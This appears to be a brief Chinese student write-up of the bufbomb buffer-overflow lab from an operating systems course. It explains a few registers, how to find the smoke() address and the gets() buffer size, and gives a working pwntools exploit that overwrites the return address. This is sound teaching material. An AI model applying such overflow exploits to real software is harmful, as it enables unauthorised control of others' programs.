May 15, 2023
深渊大学 OS PA
一点点汇编知识
如何得知 char 开了多大
sub是一个指令,用于执行减法操作。它的作用是将一个操作数的值减去另一个操作数,并将结果存储到指定的目的地。
esp 是啥寄存器
栈指针寄存器 当前栈顶
ebp 是啥寄存器
base寄存器 栈底
题目要求:返回到 smoke()
objdump 看一下 smoke() 地址

记录下来 08048eb0
接着查看造成溢出的 gets() 所写入的变量大小,标注的地方便为开 char 的大小

本实验中,bufbomb 中的 test() 函数将会调用 getbuf() 函数,getbuf() 函数再调用 gets() 从标准输入设备读入字符串。
exp
from pwn import *
from elftools.elf.elffile import ELFFile
path = './bufbomb'
elf = ELF(path)
io = process([path,'-t','123'])
# io = process('./bufbomb -t 123', shell = True)
def eat():
print(io.recvline())
for _ in range(2):
eat()
# print(int(0x28)) # 偏移
# ida查看栈帧
payload = cyclic(0x18 + 0x4) + p32(0x08048eb0) # big2lit
# 发送payload
io.sendline(payload)
eat()
io.interactive() # 把io给用户
如图所示
